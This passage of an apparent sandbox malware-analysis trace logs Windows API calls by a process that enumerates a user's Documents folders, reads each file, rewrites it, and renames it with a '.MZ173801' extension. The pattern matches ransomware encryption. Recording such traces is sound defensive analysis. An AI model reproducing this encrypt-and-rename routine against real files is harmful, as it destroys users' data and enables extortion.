(in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf21d2520, ftCreationTime.dwHighDateTime=0x1d5d913, ftLastAccessTime.dwLowDateTime=0xd761ac70, ftLastAccessTime.dwHighDateTime=0x1d5da02, ftLastWriteTime.dwLowDateTime=0x9b4b61c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x41a4, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="p0NG4l.doc.MZ173801", cAlternateFileName="P0NG4L~1.MZ1")) returned 1 [0124.897] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.897] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.897] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf21d2520, ftCreationTime.dwHighDateTime=0x1d5d913, ftLastAccessTime.dwLowDateTime=0xd761ac70, ftLastAccessTime.dwHighDateTime=0x1d5da02, ftLastWriteTime.dwLowDateTime=0x9b4b61c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x41a4, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="p0NG4l.doc.MZ173801", cAlternateFileName="P0NG4L~1.MZ1")) returned 0 [0124.897] GetLastError () returned 0x12 [0124.897] FindClose (in: hFindFile=0x2fc740 | out: hFindFile=0x2fc740) returned 1 [0124.897] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe01e05b0, ftCreationTime.dwHighDateTime=0x1d5e2f0, ftLastAccessTime.dwLowDateTime=0xe2404ef0, ftLastAccessTime.dwHighDateTime=0x1d5d7b7, ftLastWriteTime.dwLowDateTime=0x9b443da0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xfc71, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="aBIuO4X i.pdf.MZ173801", cAlternateFileName="ABIUO4~1.MZ1")) returned 1 [0124.897] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.897] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.897] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe60b90b0, ftCreationTime.dwHighDateTime=0x1d5e44d, ftLastAccessTime.dwLowDateTime=0xa04ee350, ftLastAccessTime.dwHighDateTime=0x1d5e67e, ftLastWriteTime.dwLowDateTime=0xa04ee350, ftLastWriteTime.dwHighDateTime=0x1d5e67e, nFileSizeHigh=0x0, nFileSizeLow=0x6b6d, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="lcH9zf19U.odt", cAlternateFileName="LCH9ZF~1.ODT")) returned 1 [0124.897] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.897] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.897] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4701790, ftCreationTime.dwHighDateTime=0x1d5d94e, ftLastAccessTime.dwLowDateTime=0xd811a560, ftLastAccessTime.dwHighDateTime=0x1d5e4e0, ftLastWriteTime.dwLowDateTime=0x9b469f00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf788, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="UeE7MtfOi.pdf.MZ173801", cAlternateFileName="UEE7MT~1.MZ1")) returned 1 [0124.898] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.898] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.898] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d47a6d0, ftCreationTime.dwHighDateTime=0x1d5e46e, ftLastAccessTime.dwLowDateTime=0xbf1209c0, ftLastAccessTime.dwHighDateTime=0x1d5e7cd, ftLastWriteTime.dwLowDateTime=0xbf1209c0, ftLastWriteTime.dwHighDateTime=0x1d5e7cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="_bUsoF-1OZB 3IZ4", cAlternateFileName="_BUSOF~1")) returned 1 [0124.898] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.898] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.898] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\*.*", lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d47a6d0, ftCreationTime.dwHighDateTime=0x1d5e46e, ftLastAccessTime.dwLowDateTime=0xbf1209c0, ftLastAccessTime.dwHighDateTime=0x1d5e7cd, ftLastWriteTime.dwLowDateTime=0xbf1209c0, ftLastWriteTime.dwHighDateTime=0x1d5e7cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc740 [0124.898] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d47a6d0, ftCreationTime.dwHighDateTime=0x1d5e46e, ftLastAccessTime.dwLowDateTime=0xbf1209c0, ftLastAccessTime.dwHighDateTime=0x1d5e7cd, ftLastWriteTime.dwLowDateTime=0xbf1209c0, ftLastWriteTime.dwHighDateTime=0x1d5e7cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0124.898] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf239590, ftCreationTime.dwHighDateTime=0x1d5db4e, ftLastAccessTime.dwLowDateTime=0xa7abcc90, ftLastAccessTime.dwHighDateTime=0x1d5e6b9, ftLastWriteTime.dwLowDateTime=0xa7abcc90, ftLastWriteTime.dwHighDateTime=0x1d5e6b9, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="m2vN4t6vFdvq0RhOel.ppt", cAlternateFileName="M2VN4T~1.PPT")) returned 1 [0124.898] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1dc | out: lpLocalFileTime=0x18f1dc) returned 1 [0124.898] FileTimeToDosDateTime (in: lpFileTime=0x18f1dc, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.898] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\m2vN4t6vFdvq0RhOel.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\m2vn4t6vfdvq0rhoel.ppt"), fInfoLevelId=0x0, lpFileInformation=0x18f16c | out: lpFileInformation=0x18f16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf239590, ftCreationTime.dwHighDateTime=0x1d5db4e, ftLastAccessTime.dwLowDateTime=0xa7abcc90, ftLastAccessTime.dwHighDateTime=0x1d5e6b9, ftLastWriteTime.dwLowDateTime=0xa7abcc90, ftLastWriteTime.dwHighDateTime=0x1d5e6b9, nFileSizeHigh=0x0, nFileSizeLow=0x21c2)) returned 1 [0124.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.901] GetCurrentThreadId () returned 0x9fc [0124.901] GetCurrentThreadId () returned 0x9fc [0124.901] GetCurrentThreadId () returned 0x9fc [0124.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.902] GetCurrentThreadId () returned 0x9fc [0124.902] GetCurrentThreadId () returned 0x9fc [0124.902] GetCurrentThreadId () returned 0x9fc [0124.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\m2vN4t6vFdvq0RhOel.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\m2vn4t6vfdvq0rhoel.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0124.902] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f120*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f120*=0) returned 0x0 [0124.902] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0124.902] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x21c2 [0124.902] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0124.902] ReadFile (in: hFile=0x29c, lpBuffer=0x714510, nNumberOfBytesToRead=0x21c2, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f12c*=0x21c2, lpOverlapped=0x0) returned 1 [0124.903] CloseHandle (hObject=0x29c) returned 1 [0124.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\m2vN4t6vFdvq0RhOel.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\m2vn4t6vfdvq0rhoel.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0124.905] WriteFile (in: hFile=0x29c, lpBuffer=0x718540*, nNumberOfBytesToWrite=0x21c2, lpNumberOfBytesWritten=0x18f138, lpOverlapped=0x0 | out: lpBuffer=0x718540*, lpNumberOfBytesWritten=0x18f138*=0x21c2, lpOverlapped=0x0) returned 1 [0124.906] CloseHandle (hObject=0x29c) returned 1 [0124.906] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\m2vN4t6vFdvq0RhOel.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\m2vn4t6vfdvq0rhoel.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\m2vN4t6vFdvq0RhOel.ppt.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\m2vn4t6vfdvq0rhoel.ppt.mz173801")) returned 1 [0124.907] GetCurrentThreadId () returned 0x9fc [0124.907] GetCurrentThreadId () returned 0x9fc [0124.907] GetCurrentThreadId () returned 0x9fc [0124.907] GetCurrentThreadId () returned 0x9fc [0124.907] GetCurrentThreadId () returned 0x9fc [0124.907] GetCurrentThreadId () returned 0x9fc [0124.907] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80b00c10, ftCreationTime.dwHighDateTime=0x1d5e280, ftLastAccessTime.dwLowDateTime=0x99d0a9e0, ftLastAccessTime.dwHighDateTime=0x1d5e067, ftLastWriteTime.dwLowDateTime=0x99d0a9e0, ftLastWriteTime.dwHighDateTime=0x1d5e067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="OW5FfS04iwdMwwKKq4E", cAlternateFileName="OW5FFS~1")) returned 1 [0124.907] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe4d2a0, ftCreationTime.dwHighDateTime=0x1d5e78d, ftLastAccessTime.dwLowDateTime=0xa985cf30, ftLastAccessTime.dwHighDateTime=0x1d5dd62, ftLastWriteTime.dwLowDateTime=0xa985cf30, ftLastWriteTime.dwHighDateTime=0x1d5dd62, nFileSizeHigh=0x0, nFileSizeLow=0xf351, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="RheIPXfIwRK.pptx", cAlternateFileName="RHEIPX~1.PPT")) returned 1 [0124.907] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.907] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.908] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\RheIPXfIwRK.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\rheipxfiwrk.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f16c | out: lpFileInformation=0x18f16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe4d2a0, ftCreationTime.dwHighDateTime=0x1d5e78d, ftLastAccessTime.dwLowDateTime=0xa985cf30, ftLastAccessTime.dwHighDateTime=0x1d5dd62, ftLastWriteTime.dwLowDateTime=0xa985cf30, ftLastWriteTime.dwHighDateTime=0x1d5dd62, nFileSizeHigh=0x0, nFileSizeLow=0xf351)) returned 1 [0124.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 